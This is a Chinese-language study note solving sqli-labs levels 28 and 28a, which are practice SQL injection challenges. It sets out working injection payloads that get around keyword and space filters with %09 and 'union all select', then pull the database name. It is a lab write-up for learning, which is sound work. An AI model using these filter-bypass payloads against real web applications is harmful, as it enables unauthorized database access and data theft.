sqllab第二十八关通关笔记(附带28a)

知识点:

  • union select 整体过滤
    • union all select 替换
  • where id=('输入')
  • 空格 + 过滤了,使用%09代替

经过不断的测试,发现原始语句为 where id=('输入')

构造payload:id=1')and%091=('1

成功回显出了相关的信息

好,尝试进行错误注入

构造payload:id=1')and%09exp(710)=('1

发现没有任何的回显信息,说明这里不能用错误注入

尝试进行联合注入

构造payload:id=0%27)UNion%09SElect%091,2,3%09and1=(%271

发现利用大小写不能够绕过

经过测试发现它是过滤union select整个字段,好好好,那么利用union all select绕过

构造payload:id=-1%27)union%09all%09select%091,2,3%09and1=(%271

页面成功回显了,但是内容不是输入信息,应该是他把-1进行绝对值处理了,导致显示了id=1的内容

重新构造payload:id=0%27)union%09all%09select%091,2,3%09and1=(%271

页面成功回显了输入内容,发现有两处输出点,猜测是前两位,但是测试发现只有用户名处是输出信息,密码不受影响

获取数据库名

构造payload:id=0%27)union%09all%09select%091,database(),3%09and1=(%271

成功获取到了数据库名,之后的信息也一样

附带28a

28a关和28关的区别在于这关只对union select进行了过滤

同样可以用28关的payload进行处理,具体就不实操了,参考上面的方法就行了

10

相关推荐
鱼子星_11 小时前
【C++】内存管理:内存分布,new/delete的使用及细节处理,new/delete的底层,定位new表达式
开发语言·c++·笔记
愚昧之山绝望之谷开悟之坡11 小时前
回购逆回购
笔记
鱼子星_11 小时前
【C++】string(上):string的基本使用
c++·笔记·字符串
AOwhisky12 小时前
Python 学习笔记(第四期)——字符串:格式化、操作与文本处理——核心知识点自测与详解
开发语言·笔记·python·学习·列表·元组·字典
chnyi6_ya12 小时前
论文阅读笔记 | VIDEOPHY: Evaluating Physical Commonsense for Video Generation
论文阅读·笔记
AOwhisky12 小时前
Python 学习笔记(第六期)——函数:定义、参数传递与作用域
笔记·python·学习·云原生·运维开发·函数·参数传递
kdxiaojie14 小时前
Linux 驱动研究 —— V4L2 (2)
linux·运维·笔记·学习
阿米亚波14 小时前
【C++ STL】std::list
c++·windows·笔记·stl·list
大明者省15 小时前
‌Docker Desktop - Virtual Machine Platform not enabled
笔记
YUS云生15 小时前
Python学习笔记·第32天:FastAPI进阶——响应类型、中间件与依赖注入
笔记·python·学习